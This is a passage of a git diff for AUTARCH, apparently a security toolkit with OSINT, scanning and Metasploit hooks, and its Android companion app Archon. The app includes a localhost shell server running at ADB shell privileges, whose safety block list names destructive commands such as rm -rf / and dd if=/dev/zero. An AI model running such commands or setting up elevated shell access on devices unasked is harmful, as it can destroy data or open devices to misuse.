sys.exit(0) + + # Handle service management + if args.service: + manage_service(args.service) + sys.exit(0) + + # Handle MCP server + if args.mcp: + from core.mcp_server import run_stdio, run_sse + if args.mcp == 'sse': + print(f"{Colors.CYAN}[*] Starting AUTARCH MCP server (SSE) on port {args.mcp_port}{Colors.RESET}") + run_sse(port=args.mcp_port) + else: + run_stdio() + sys.exit(0) + + # Handle web dashboard + if args.web: + from web.app import create_app + from core.config import get_config + from core.paths import get_data_dir + config = get_config() + app = create_app() + host = config.get('web', 'host', fallback='0.0.0.0') + port = args.web_port or config.get_int('web', 'port', fallback=8181) + + # Auto-generate self-signed TLS cert for HTTPS (required for WebUSB over LAN) + ssl_ctx = None + use_https = config.get('web', 'https', fallback='true').lower() != 'false' + if use_https: + import os, subprocess as _sp + cert_dir = os.path.join(get_data_dir(), 'certs') + os.makedirs(cert_dir, exist_ok=True) + cert_path = os.path.join(cert_dir, 'autarch.crt') + key_path = os.path.join(cert_dir, 'autarch.key') + if not os.path.exists(cert_path) or not os.path.exists(key_path): + print(f"{Colors.CYAN}[*] Generating self-signed TLS certificate...{Colors.RESET}") + _sp.run([ + 'openssl', 'req', '-x509', '-newkey', 'rsa:2048', + '-keyout', key_path, '-out', cert_path, + '-days', '3650', '-nodes', + '-subj', '/CN=AUTARCH/O=darkHal', + ], check=True, capture_output=True) + ssl_ctx = (cert_path, key_path) + proto = 'https' + else: + proto = 'http' + + print(f"{Colors.GREEN}[+] Starting AUTARCH Web Dashboard on {proto}://{host}:{port}{Colors.RESET}") + + # System tray mode (default on desktop environments) + if not args.no_tray: + try: + from core.tray import TrayManager, TRAY_AVAILABLE + if TRAY_AVAILABLE: + print(f"{Colors.DIM} System tray icon active — right-click to control{Colors.RESET}") + tray = TrayManager(app, host, port, ssl_context=ssl_ctx) + tray.run() # Blocks until Exit + sys.exit(0) + except Exception: + pass # Fall through to normal mode + + # Fallback: run Flask directly (headless / --no-tray) + app.run(host=host, port=port, debug=False, ssl_context=ssl_ctx) + sys.exit(0) + + # Handle UPnP refresh (for cron) + if args.upnp_refresh: + from core.upnp import get_upnp_manager + upnp = get_upnp_manager() + results = upnp.refresh_all() + for r in results: + status = "OK" if r['success'] else "FAIL" + print(f" {r['port']}/{r['protocol']}: {status}") + sys.exit(0) + + # Handle list modules + if args.list: + list_modules() + sys.exit(0) + + if args.list_category: + list_modules(args.list_category) + sys.exit(0) + + # Handle direct module execution + if args.module: + run_module(args.module, args.quiet) + sys.exit(0) + + # Handle quick commands + if args.command: + if not args.no_banner: + clear_screen() + display_banner() + + if args.command == 'chat': + run_module('chat', args.quiet) + elif args.command == 'agent': + run_module('agent', args.quiet) + elif args.command == 'osint': + if args.target: + quick_osint(args.target) + else: + print(f"{Colors.RED}Usage: autarch osint {Colors.RESET}") + elif args.command == 'scan': + if args.target: + quick_scan(args.target) + else: + print(f"{Colors.RED}Usage: autarch scan {Colors.RESET}") + elif args.command == 'analyze': + if args.target: + run_module('analyze', args.quiet) + else: + run_module('analyze', args.quiet) + sys.exit(0) + + # Default: run interactive menu + try: + # Display banner first + if not args.no_banner: + clear_screen() + display_banner() + + # Check for first run and execute setup + check_first_run() + + # Metasploit autoconnect + msf_autoconnect( + skip=args.no_msf, + username=args.msf_user, + password=args.msf_pass, + use_sudo=not args.msf_no_sudo + ) + + # Apply CLI display flags to config for this session + from core.config import get_config + cfg = get_config() + if args.verbose: + cfg.set('autarch', 'verbose', 'true') + if args.quiet: + cfg.set('autarch', 'quiet', 'true') + if args.no_banner: + cfg.set('autarch', 'no_banner', 'true') + + # Start the main menu + from core.menu import MainMenu + menu = MainMenu() + menu.run() + + except KeyboardInterrupt: + print(f"\n\n{Colors.CYAN}Exiting AUTARCH...{Colors.RESET}") + sys.exit(0) + except Exception as e: + print(f"\n{Colors.RED}Fatal error: {e}{Colors.RESET}") + if '--verbose' in sys.argv: + import traceback + traceback.print_exc() + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/autarch_companion/app/build.gradle.kts b/autarch_companion/app/build.gradle.kts new file mode 100644 index 0000000..fd1ac86 --- /dev/null +++ b/autarch_companion/app/build.gradle.kts @@ -0,0 +1,65 @@ +plugins { + id("com.android.application") +} + +android { + namespace = "com.darkhal.archon" + compileSdk = 36 + + defaultConfig { + applicationId = "com.darkhal.archon" + minSdk = 26 + targetSdk = 36 + versionCode = 2 + versionName = "2.0.0" + } + + buildTypes { + release { + isMinifyEnabled = false + proguardFiles( + getDefaultProguardFile("proguard-android-optimize.txt"), + "proguard-rules.pro" + ) + } + } + + compileOptions { + sourceCompatibility = JavaVersion.VERSION_21 + targetCompatibility = JavaVersion.VERSION_21 + } + + kotlin { + jvmToolchain(21) + } + + buildFeatures { + viewBinding = true + } + + packaging { + jniLibs { + useLegacyPackaging = false + } + } + +} + +dependencies { + implementation("androidx.core:core-ktx:1.12.0") + implementation("androidx.appcompat:appcompat:1.6.1") + implementation("com.google.android.material:material:1.11.0") + implementation("androidx.constraintlayout:constraintlayout:2.1.4") + implementation("androidx.navigation:navigation-fragment-ktx:2.7.7") + implementation("androidx.navigation:navigation-ui-ktx:2.7.7") + implementation("androidx.preference:preference-ktx:1.2.1") + implementation("androidx.webkit:webkit:1.10.0") + + // Local ADB client (wireless debugging pairing + shell) + implementation("com.github.MuntashirAkon:libadb-android:3.1.1") + implementation("org.conscrypt:conscrypt-android:2.5.3") + + // Shizuku for elevated access (SMS/RCS operations) + implementation("dev.rikka.shizuku:api:13.1.5") + implementation("dev.rikka.shizuku:provider:13.1.5") +} diff --git a/autarch_companion/app/src/main/AndroidManifest.xml b/autarch_companion/app/src/main/AndroidManifest.xml new file mode 100644 index 0000000..f826fae --- /dev/null +++ b/autarch_companion/app/src/main/AndroidManifest.xml @@ -0,0 +1,142 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/assets/arish b/autarch_companion/app/src/main/assets/arish new file mode 100644 index 0000000..abf1239 --- /dev/null +++ b/autarch_companion/app/src/main/assets/arish @@ -0,0 +1,54 @@ +#!/system/bin/sh +# arish — Archon Remote Interactive Shell +# Like Shizuku's "rish" but for the Archon privileged server. +# +# This script finds the Archon APK and launches ArchonRish via app_process, +# which connects to the running ArchonServer and provides an interactive +# shell at UID 2000 (shell-level privileges). +# +# Installation: +# adb push arish /data/local/tmp/arish +# adb shell chmod 755 /data/local/tmp/arish +# +# Usage: +# /data/local/tmp/arish — interactive shell +# /data/local/tmp/arish ls -la /data — single command +# /data/local/tmp/arish -t — specify auth token +# /data/local/tmp/arish -p — specify server port + +PACKAGE="com.darkhal.archon" + +# Find the APK path +APK_PATH="" + +# Method 1: pm path (works if pm is available) +if command -v pm >/dev/null 2>&1; then + APK_PATH=$(pm path "$PACKAGE" 2>/dev/null | head -1 | sed 's/^package://') +fi + +# Method 2: Known install locations +if [ -z "$APK_PATH" ]; then + for dir in /data/app/*"$PACKAGE"*; do + if [ -f "$dir/base.apk" ]; then + APK_PATH="$dir/base.apk" + break + fi + done +fi + +# Method 3: Check /data/local/tmp for sideloaded APK +if [ -z "$APK_PATH" ] && [ -f "/data/local/tmp/archon.apk" ]; then + APK_PATH="/data/local/tmp/archon.apk" +fi + +if [ -z "$APK_PATH" ]; then + echo "arish: cannot find Archon APK ($PACKAGE)" + echo "arish: install the Archon app or place archon.apk in /data/local/tmp/" + exit 1 +fi + +# Launch ArchonRish via app_process +export CLASSPATH="$APK_PATH" +exec /system/bin/app_process /system/bin \ + --nice-name=arish \ + com.darkhal.archon.server.ArchonRish "$@" diff --git a/autarch_companion/app/src/main/assets/bbs/index.html b/autarch_companion/app/src/main/assets/bbs/index.html new file mode 100644 index 0000000..a4920c1 --- /dev/null +++ b/autarch_companion/app/src/main/assets/bbs/index.html @@ -0,0 +1,28 @@ + + + + + + Autarch BBS + + + +
+ +
+
+ > + +
+
+ + + diff --git a/autarch_companion/app/src/main/assets/bbs/terminal.css b/autarch_companion/app/src/main/assets/bbs/terminal.css new file mode 100644 index 0000000..ae42edc --- /dev/null +++ b/autarch_companion/app/src/main/assets/bbs/terminal.css @@ -0,0 +1,128 @@ +* { + margin: 0; + padding: 0; + box-sizing: border-box; +} + +body { + background: #000000; + color: #00FF41; + font-family: 'Source Code Pro', 'Courier New', monospace; + font-size: 14px; + line-height: 1.4; + overflow: hidden; + height: 100vh; + width: 100vw; +} + +#terminal { + display: flex; + flex-direction: column; + height: 100vh; + padding: 8px; +} + +#header { + flex-shrink: 0; + margin-bottom: 8px; +} + +#banner { + color: #00FF41; + font-size: 12px; + line-height: 1.2; + text-align: center; +} + +#output { + flex: 1; + overflow-y: auto; + padding-bottom: 8px; + word-wrap: break-word; +} + +#output .line { + margin-bottom: 2px; +} + +#output .system { + color: #888888; +} + +#output .error { + color: #FF4444; +} + +#output .info { + color: #00AAFF; +} + +#output .success { + color: #00FF41; +} + +#input-line { + display: flex; + align-items: center; + flex-shrink: 0; + border-top: 1px solid #333333; + padding-top: 8px; +} + +.prompt { + color: #00FF41; + margin-right: 8px; + font-weight: bold; +} + +#cmd-input { + flex: 1; + background: transparent; + border: none; + outline: none; + color: #00FF41; + font-family: 'Source Code Pro', 'Courier New', monospace; + font-size: 14px; + caret-color: #00FF41; +} + +/* Blinking cursor effect */ +@keyframes blink { + 0%, 100% { opacity: 1; } + 50% { opacity: 0; } +} + +#cmd-input:focus { + animation: none; +} + +/* Scrollbar */ +#output::-webkit-scrollbar { + width: 4px; +} + +#output::-webkit-scrollbar-track { + background: #111111; +} + +#output::-webkit-scrollbar-thumb { + background: #333333; + border-radius: 2px; +} + +#output::-webkit-scrollbar-thumb:hover { + background: #00FF41; +} + +/* Loading animation */ +.loading::after { + content: ''; + animation: dots 1.5s steps(3, end) infinite; +} + +@keyframes dots { + 0% { content: ''; } + 33% { content: '.'; } + 66% { content: '..'; } + 100% { content: '...'; } +} diff --git a/autarch_companion/app/src/main/assets/bbs/veilid-bridge.js b/autarch_companion/app/src/main/assets/bbs/veilid-bridge.js new file mode 100644 index 0000000..c425b68 --- /dev/null +++ b/autarch_companion/app/src/main/assets/bbs/veilid-bridge.js @@ -0,0 +1,225 @@ +/** + * Autarch BBS — Veilid Bridge + * + * Handles the BBS terminal interface and will integrate with + * veilid-wasm when the BBS server is deployed on the VPS. + * + * Native Android bridge: window.ArchonBridge + */ + +const output = document.getElementById('output'); +const cmdInput = document.getElementById('cmd-input'); + +// Terminal output helpers +function writeLine(text, className) { + const div = document.createElement('div'); + div.className = 'line' + (className ? ' ' + className : ''); + div.textContent = text; + output.appendChild(div); + output.scrollTop = output.scrollHeight; +} + +function writeSystem(text) { writeLine(text, 'system'); } +function writeError(text) { writeLine(text, 'error'); } +function writeInfo(text) { writeLine(text, 'info'); } +function writeSuccess(text) { writeLine(text, 'success'); } + +/** + * VeilidBBS — placeholder for Veilid WASM integration. + * + * When the BBS server is deployed, this class will: + * 1. Load veilid-wasm from bundled assets + * 2. Initialize a Veilid routing context + * 3. Connect to the BBS server via DHT key + * 4. Send/receive messages through the Veilid network + */ +class VeilidBBS { + constructor() { + this.connected = false; + this.serverAddress = ''; + } + + async initialize() { + // Get config from native bridge + if (window.ArchonBridge) { + this.serverAddress = window.ArchonBridge.getServerAddress(); + const configJson = window.ArchonBridge.getVeilidConfig(); + this.config = JSON.parse(configJson); + this.log('Veilid config loaded'); + } + } + + async connect() { + if (!this.serverAddress) { + writeError('No BBS server address configured.'); + writeSystem('Set the Veilid BBS address in Settings.'); + return false; + } + + writeSystem('Connecting to Autarch BBS...'); + writeSystem('Server: ' + this.serverAddress); + + // Placeholder — actual Veilid connection will go here + // Steps when implemented: + // 1. await veilid.veilidCoreStartupJSON(config) + // 2. await veilid.veilidCoreAttach() + // 3. Create routing context + // 4. Open route to BBS server DHT key + // 5. Send/receive via app_message / app_call + + writeError('Veilid WASM not yet loaded.'); + writeSystem('BBS server deployment pending.'); + writeSystem(''); + writeInfo('The Autarch BBS will be available once the'); + writeInfo('VPS server is configured and the Veilid'); + writeInfo('WASM module is bundled into this app.'); + writeSystem(''); + return false; + } + + async sendMessage(msg) { + if (!this.connected) { + writeError('Not connected to BBS.'); + return; + } + // Placeholder for sending messages via Veilid + this.log('Send: ' + msg); + } + + async disconnect() { + this.connected = false; + writeSystem('Disconnected from BBS.'); + } + + log(msg) { + if (window.ArchonBridge) { + window.ArchonBridge.log(msg); + } + console.log('[VeilidBBS] ' + msg); + } +} + +// Command handler +const bbs = new VeilidBBS(); +const commandHistory = []; +let historyIndex = -1; + +const commands = { + help: function() { + writeInfo('Available commands:'); + writeLine(' help — Show this help'); + writeLine(' connect — Connect to Autarch BBS'); + writeLine(' disconnect — Disconnect from BBS'); + writeLine(' status — Show connection status'); + writeLine(' clear — Clear terminal'); + writeLine(' about — About Autarch BBS'); + writeLine(' version — Show version info'); + }, + + connect: async function() { + await bbs.connect(); + }, + + disconnect: async function() { + await bbs.disconnect(); + }, + + status: function() { + writeInfo('Connection Status:'); + writeLine(' Connected: ' + (bbs.connected ? 'YES' : 'NO')); + writeLine(' Server: ' + (bbs.serverAddress || 'not configured')); + if (window.ArchonBridge) { + writeLine(' Archon URL: ' + window.ArchonBridge.getAutarchUrl()); + } + }, + + clear: function() { + output.innerHTML = ''; + }, + + about: function() { + writeInfo('╔════════════════════════════════════╗'); + writeInfo('║ AUTARCH BBS ║'); + writeInfo('╠════════════════════════════════════╣'); + writeLine('║ A decentralized bulletin board ║'); + writeLine('║ system secured by the Veilid ║'); + writeLine('║ protocol. All communications are ║'); + writeLine('║ end-to-end encrypted and routed ║'); + writeLine('║ through an onion-style network. ║'); + writeInfo('╚════════════════════════════════════╝'); + }, + + version: function() { + let ver = '1.0.0'; + if (window.ArchonBridge) { + ver = window.ArchonBridge.getAppVersion(); + } + writeLine('Archon v' + ver); + writeLine('Veilid WASM: not loaded (pending deployment)'); + } +}; + +function processCommand(input) { + const trimmed = input.trim(); + if (!trimmed) return; + + writeLine('> ' + trimmed); + commandHistory.push(trimmed); + historyIndex = commandHistory.length; + + const parts = trimmed.split(/\s+/); + const cmd = parts[0].toLowerCase(); + + if (commands[cmd]) { + commands[cmd](parts.slice(1)); + } else if (bbs.connected) { + // If connected, send as BBS message + bbs.sendMessage(trimmed); + } else { + writeError('Unknown command: ' + cmd); + writeSystem('Type "help" for available commands.'); + } +} + +// Input handling +cmdInput.addEventListener('keydown', function(e) { + if (e.key === 'Enter') { + processCommand(this.value); + this.value = ''; + } else if (e.key === 'ArrowUp') { + e.preventDefault(); + if (historyIndex > 0) { + historyIndex--; + this.value = commandHistory[historyIndex]; + } + } else if (e.key === 'ArrowDown') { + e.preventDefault(); + if (historyIndex < commandHistory.length - 1) { + historyIndex++; + this.value = commandHistory[historyIndex]; + } else { + historyIndex = commandHistory.length; + this.value = ''; + } + } +}); + +// Keep input focused +document.addEventListener('click', function() { + cmdInput.focus(); +}); + +// Startup +(async function() { + writeSuccess('AUTARCH BBS Terminal v1.0'); + writeSystem('Initializing...'); + writeSystem(''); + + await bbs.initialize(); + + writeSystem('Type "help" for commands.'); + writeSystem('Type "connect" to connect to the BBS.'); + writeSystem(''); + + cmdInput.focus(); +})(); diff --git a/autarch_companion/app/src/main/java/com/darkhal/archon/server/ArchonRish.java b/autarch_companion/app/src/main/java/com/darkhal/archon/server/ArchonRish.java new file mode 100644 index 0000000..a079ee7 --- /dev/null +++ b/autarch_companion/app/src/main/java/com/darkhal/archon/server/ArchonRish.java @@ -0,0 +1,311 @@ +package com.darkhal.archon.server; + +import java.io.BufferedReader; +import java.io.InputStreamReader; +import java.io.OutputStreamWriter; +import java.io.PrintWriter; +import java.net.InetAddress; +import java.net.Socket; + +/** + * Archon Remote Interactive Shell (arish) — like Shizuku's "rish" but for Archon. + * + * Connects to the running ArchonServer on localhost and provides an interactive + * shell at UID 2000 (shell privileges). This gives terminal users the same + * elevated access that the Archon app modules use internally. + * + * Usage (from adb shell or terminal emulator): + * arish — interactive shell + * arish — execute single command + * arish -t — specify auth token + * arish -p — specify server port + * echo "pm list packages" | arish — pipe commands + * + * The "arish" shell script in assets/ sets up CLASSPATH and invokes this via app_process. + * + * Bootstrap: + * CLASSPATH='/data/app/.../base.apk' /system/bin/app_process /system/bin \ + * --nice-name=arish com.darkhal.archon.server.ArchonRish [args...] + */ +public class ArchonRish { + + private static final String DEFAULT_TOKEN_FILE = "/data/local/tmp/.archon_token"; + private static final int DEFAULT_PORT = 17321; + private static final int CONNECT_TIMEOUT = 3000; + private static final int READ_TIMEOUT = 30000; + + public static void main(String[] args) { + String token = null; + int port = DEFAULT_PORT; + String singleCmd = null; + boolean showHelp = false; + + // Parse arguments + int i = 0; + while (i < args.length) { + switch (args[i]) { + case "-t": + case "--token": + if (i + 1 < args.length) { + token = args[++i]; + } + break; + case "-p": + case "--port": + if (i + 1 < args.length) { + port = Integer.parseInt(args[++i]); + } + break; + case "-h": + case "--help": + showHelp = true; + break; + default: + // Everything else is a command to execute + StringBuilder sb = new StringBuilder(); + for (int j = i; j < args.length; j++) { + if (j > i) sb.append(' '); + sb.append(args[j]); + } + singleCmd = sb.toString(); + i = args.length; // break outer loop + break; + } + i++; + } + + if (showHelp) { + printHelp(); + return; + } + + // Try to read token from file if not provided + if (token == null) { + token = readTokenFile(); + } + if (token == null) { + System.err.println("arish: no auth token. Use -t or ensure ArchonServer wrote " + DEFAULT_TOKEN_FILE); + System.exit(1); + } + + // Check if stdin is a pipe (non-interactive) + boolean isPiped = false; + try { + isPiped = System.in.available() > 0 || singleCmd != null; + } catch (Exception e) { + // Assume interactive + } + + if (singleCmd != null) { + // Single command mode + int exitCode = executeRemote(token, port, singleCmd); + System.exit(exitCode); + } else if (isPiped) { + // Pipe mode — read commands from stdin + runPiped(token, port); + } else { + // Interactive mode + runInteractive(token, port); + } + } + + private static void runInteractive(String token, int port) { + System.out.println("arish — Archon Remote Interactive Shell (UID 2000)"); + System.out.println("Connected to ArchonServer on localhost:" + port); + System.out.println("Type 'exit' to quit.\n"); + + BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in)); + + while (true) { + System.out.print("arish$ "); + System.out.flush(); + + String line; + try { + line = stdin.readLine(); + } catch (Exception e) { + break; + } + if (line == null) break; // EOF + line = line.trim(); + if (line.isEmpty()) continue; + if (line.equals("exit") || line.equals("quit")) break; + + executeRemote(token, port, line); + } + + System.out.println("\narish: disconnected"); + } + + private static void runPiped(String token, int port) { + BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in)); + int lastExit = 0; + try { + String line; + while ((line = stdin.readLine()) != null) { + line = line.trim(); + if (line.isEmpty() || line.startsWith("#")) continue; + lastExit = executeRemote(token, port, line); + } + } catch (Exception e) { + System.err.println("arish: read error: " + e.getMessage()); + } + System.exit(lastExit); + } + + private static int executeRemote(String token, int port, String command) { + try { + InetAddress loopback = InetAddress.getByName("127.0.0.1"); + Socket sock = new Socket(); + sock.connect(new java.net.InetSocketAddress(loopback, port), CONNECT_TIMEOUT); + sock.setSoTimeout(READ_TIMEOUT); + + PrintWriter writer = new PrintWriter(new OutputStreamWriter(sock.getOutputStream()), true); + BufferedReader reader = new BufferedReader(new InputStreamReader(sock.getInputStream())); + + // Send command as JSON + String json = "{\"token\":\"" + escapeJson(token) + "\"," + + "\"cmd\":\"" + escapeJson(command) + "\"," + + "\"timeout\":30}"; + writer.println(json); + writer.flush(); + + // Read response + String response = reader.readLine(); + sock.close(); + + if (response == null) { + System.err.println("arish: no response from server"); + return -1; + } + + // Parse JSON response (minimal hand-parsing, same as ArchonServer pattern) + String stdout = extractJsonString(response, "stdout"); + String stderr = extractJsonString(response, "stderr"); + int exitCode = extractJsonInt(response, "exit_code", -1); + + if (stdout != null && !stdout.isEmpty()) { + System.out.print(stdout); + if (!stdout.endsWith("\n")) System.out.println(); + } + if (stderr != null && !stderr.isEmpty()) { + System.err.print(stderr); + if (!stderr.endsWith("\n")) System.err.println(); + } + + return exitCode; + + } catch (java.net.ConnectException e) { + System.err.println("arish: cannot connect to ArchonServer on localhost:" + port); + System.err.println("arish: is the server running? Check Setup tab in Archon app."); + return -1; + } catch (Exception e) { + System.err.println("arish: error: " + e.getMessage()); + return -1; + } + } + + // ── JSON Helpers (hand-rolled, no library dependencies) ────── + + private static String escapeJson(String s) { + if (s == null) return ""; + StringBuilder sb = new StringBuilder(); + for (int j = 0; j < s.length(); j++) { + char c = s.charAt(j); + switch (c) { + case '"': sb.append("\\\""); break; + case '\\': sb.append("\\\\"); break; + case '\n': sb.append("\\n"); break; + case '\r': sb.append("\\r"); break; + case '\t': sb.append("\\t"); break; + default: sb.append(c); break; + } + } + return sb.toString(); + } + + private static String extractJsonString(String json, String key) { + String searchKey = "\"" + key + "\":\""; + int start = json.indexOf(searchKey); + if (start < 0) return ""; + start += searchKey.length(); + + StringBuilder sb = new StringBuilder(); + boolean escape = false; + for (int j = start; j < json.length(); j++) { + char c = json.charAt(j); + if (escape) { + switch (c) { + case 'n': sb.append('\n'); break; + case 'r': sb.append('\r'); break; + case 't': sb.append('\t'); break; + case '"': sb.append('"'); break; + case '\\': sb.append('\\'); break; + default: sb.append(c); break; + } + escape = false; + } else if (c == '\\') { + escape = true; + } else if (c == '"') { + break; + } else { + sb.append(c); + } + } + return sb.toString(); + } + + private static int extractJsonInt(String json, String key, int defaultValue) { + // Try "key":N pattern + String searchKey = "\"" + key + "\":"; + int start = json.indexOf(searchKey); + if (start < 0) return defaultValue; + start += searchKey.length(); + + StringBuilder sb = new StringBuilder(); + for (int j = start; j < json.length(); j++) { + char c = json.charAt(j); + if (c == '-' || (c >= '0' && c <= '9')) { + sb.append(c); + } else { + break; + } + } + try { + return Integer.parseInt(sb.toString()); + } catch (NumberFormatException e) { + return defaultValue; + } + } + + private static String readTokenFile() { + try { + java.io.File f = new java.io.File(DEFAULT_TOKEN_FILE); + if (!f.exists()) return null; + BufferedReader br = new BufferedReader(new java.io.FileReader(f)); + String token = br.readLine(); + br.close(); + if (token != null) token = token.trim(); + return (token != null && !token.isEmpty()) ? token : null; + } catch (Exception e) { + return null; + } + } + + private static void printHelp() { + System.out.println("arish — Archon Remote Interactive Shell"); + System.out.println(); + System.out.println("Usage:"); + System.out.println(" arish Interactive shell (UID 2000)"); + System.out.println(" arish Execute single command"); + System.out.println(" arish -t Specify auth token"); + System.out.println(" arish -p Specify server port (default: 17321)"); + System.out.println(" echo \"cmd\" | arish Pipe commands"); + System.out.println(); + System.out.println("The ArchonServer must be running (start from the Archon app Setup tab)."); + System.out.println("Commands execute at UID 2000 (shell) — same as adb shell."); + System.out.println(); + System.out.println("Token is read from " + DEFAULT_TOKEN_FILE + " if not specified."); + System.out.println("The Archon app writes this file when the server starts."); + } +} diff --git a/autarch_companion/app/src/main/java/com/darkhal/archon/server/ArchonServer.java b/autarch_companion/app/src/main/java/com/darkhal/archon/server/ArchonServer.java new file mode 100644 index 0000000..e12e462 --- /dev/null +++ b/autarch_companion/app/src/main/java/com/darkhal/archon/server/ArchonServer.java @@ -0,0 +1,380 @@ +package com.darkhal.archon.server; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileWriter; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.OutputStreamWriter; +import java.io.PrintWriter; +import java.net.InetAddress; +import java.net.ServerSocket; +import java.net.Socket; +import java.net.SocketTimeoutException; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.Locale; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicBoolean; + +/** + * Archon Privileged Server — runs via app_process at shell (UID 2000) level. + * + * Started via ADB: + * CLASSPATH=/data/app/.../base.apk app_process /system/bin \ + * --nice-name=archon_server com.darkhal.archon.server.ArchonServer + * + * Listens on localhost: for JSON commands authenticated with a token. + * Modeled after Shizuku's server architecture but uses TCP sockets instead of Binder IPC. + * + * Protocol (JSON over TCP, newline-delimited): + * Request: {"token":"xxx","cmd":"pm list packages","timeout":30} + * Response: {"stdout":"...","stderr":"...","exit_code":0} + * + * Special commands: + * {"token":"xxx","cmd":"__ping__"} → {"stdout":"pong","stderr":"","exit_code":0} + * {"token":"xxx","cmd":"__shutdown__"} → server exits gracefully + * {"token":"xxx","cmd":"__info__"} → {"stdout":"uid=2000 pid=... uptime=...","stderr":"","exit_code":0} + */ +public class ArchonServer { + + private static final String TAG = "ArchonServer"; + private static final String LOG_FILE = "/data/local/tmp/archon_server.log"; + private static final int DEFAULT_TIMEOUT = 30; + private static final int SOCKET_TIMEOUT = 0; // No timeout on accept (blocking) + + // Safety blocklist — commands that could brick the device + private static final String[] BLOCKED_PATTERNS = { + "rm -rf /", + "rm -rf /*", + "mkfs", + "dd if=/dev/zero", + "reboot", + "shutdown", + "init 0", + "init 6", + "flash_image", + "erase_image", + "format_data", + "> /dev/block", + }; + + private static String authToken; + private static int listenPort; + private static final AtomicBoolean running = new AtomicBoolean(true); + private static ExecutorService executor; + private static long startTime; + + public static void main(String[] args) { + if (args.length < 2) { + System.err.println("Usage: ArchonServer "); + System.exit(1); + } + + authToken = args[0]; + listenPort = Integer.parseInt(args[1]); + startTime = System.currentTimeMillis(); + + log("Starting Archon Server on port " + listenPort); + log("PID: " + android.os.Process.myPid() + " UID: " + android.os.Process.myUid()); + + // Handle SIGTERM for graceful shutdown + Runtime.getRuntime().addShutdownHook(new Thread(() -> { + log("Shutdown hook triggered"); + running.set(false); + if (executor != null) { + executor.shutdownNow(); + } + })); + + executor = Executors.newCachedThreadPool(); + + try { + // Bind to localhost only — not accessible from network + InetAddress loopback = InetAddress.getByName("127.0.0.1"); + ServerSocket serverSocket = new ServerSocket(listenPort, 5, loopback); + log("Listening on 127.0.0.1:" + listenPort); + + while (running.get()) { + try { + Socket client = serverSocket.accept(); + client.setSoTimeout(60000); // 60s read timeout per connection + executor.submit(() -> handleClient(client)); + } catch (SocketTimeoutException e) { + // Expected, loop continues + } catch (IOException e) { + if (running.get()) { + log("Accept error: " + e.getMessage()); + } + } + } + + serverSocket.close(); + } catch (IOException e) { + log("Fatal: " + e.getMessage()); + System.exit(2); + } + + log("Server stopped"); + if (executor != null) { + executor.shutdown(); + try { + executor.awaitTermination(5, TimeUnit.SECONDS); + } catch (InterruptedException ignored) {} + } + System.exit(0); + } + + private static void handleClient(Socket client) { + String clientAddr = client.getRemoteSocketAddress().toString(); + log("Client connected: " + clientAddr); + + try ( + BufferedReader reader = new BufferedReader(new InputStreamReader(client.getInputStream())); + PrintWriter writer = new PrintWriter(new OutputStreamWriter(client.getOutputStream()), true) + ) { + String line; + while ((line = reader.readLine()) != null) { + String response = processRequest(line); + writer.println(response); + writer.flush(); + + // Check if we should shut down after this request + if (!running.get()) { + break; + } + } + } catch (IOException e) { + log("Client error: " + e.getMessage()); + } finally { + try { client.close(); } catch (IOException ignored) {} + log("Client disconnected: " + clientAddr); + } + } + + private static String processRequest(String json) { + // Simple JSON parsing without dependencies + String token = extractJsonString(json, "token"); + String cmd = extractJsonString(json, "cmd"); + int timeout = extractJsonInt(json, "timeout", DEFAULT_TIMEOUT); + + // No-auth alive check — allows any client to verify server is running + if ("__alive__".equals(cmd)) { + return jsonResponse("alive", "", 0); + } + + // Verify auth token + if (token == null || !token.equals(authToken)) { + log("Auth failed from request"); + return jsonResponse("", "Authentication failed", -1); + } + + if (cmd == null || cmd.isEmpty()) { + return jsonResponse("", "No command specified", -1); + } + + // Handle special commands + switch (cmd) { + case "__ping__": + return jsonResponse("pong", "", 0); + + case "__shutdown__": + log("Shutdown requested"); + running.set(false); + return jsonResponse("Server shutting down", "", 0); + + case "__info__": + long uptime = (System.currentTimeMillis() - startTime) / 1000; + String info = "uid=" + android.os.Process.myUid() + + " pid=" + android.os.Process.myPid() + + " uptime=" + uptime + "s"; + return jsonResponse(info, "", 0); + } + + // Safety check + if (isBlocked(cmd)) { + log("BLOCKED dangerous command: " + cmd); + return jsonResponse("", "Command blocked by safety filter", -1); + } + + // Execute the command + return executeCommand(cmd, timeout); + } + + private static boolean isBlocked(String cmd) { + String lower = cmd.toLowerCase(Locale.ROOT).trim(); + for (String pattern : BLOCKED_PATTERNS) { + if (lower.contains(pattern.toLowerCase(Locale.ROOT))) { + return true; + } + } + return false; + } + + private static String executeCommand(String cmd, int timeoutSec) { + try { + ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd); + pb.redirectErrorStream(false); + Process process = pb.start(); + + // Read stdout and stderr in parallel to avoid deadlocks + StringBuilder stdout = new StringBuilder(); + StringBuilder stderr = new StringBuilder(); + + Thread stdoutThread = new Thread(() -> { + try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) { + String line; + while ((line = br.readLine()) != null) { + if (stdout.length() > 0) stdout.append("\n"); + stdout.append(line); + } + } catch (IOException ignored) {} + }); + + Thread stderrThread = new Thread(() -> { + try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getErrorStream()))) { + String line; + while ((line = br.readLine()) != null) { + if (stderr.length() > 0) stderr.append("\n"); + stderr.append(line); + } + } catch (IOException ignored) {} + }); + + stdoutThread.start(); + stderrThread.start(); + + boolean completed = process.waitFor(timeoutSec, TimeUnit.SECONDS); + + if (!completed) { + process.destroyForcibly(); + stdoutThread.join(1000); + stderrThread.join(1000); + return jsonResponse(stdout.toString(), "Command timed out after " + timeoutSec + "s", -1); + } + + stdoutThread.join(5000); + stderrThread.join(5000); + + return jsonResponse(stdout.toString(), stderr.toString(), process.exitValue()); + + } catch (Exception e) { + return jsonResponse("", "Execution error: " + e.getMessage(), -1); + } + } + + // ── JSON helpers (no library dependencies) ────────────────────── + 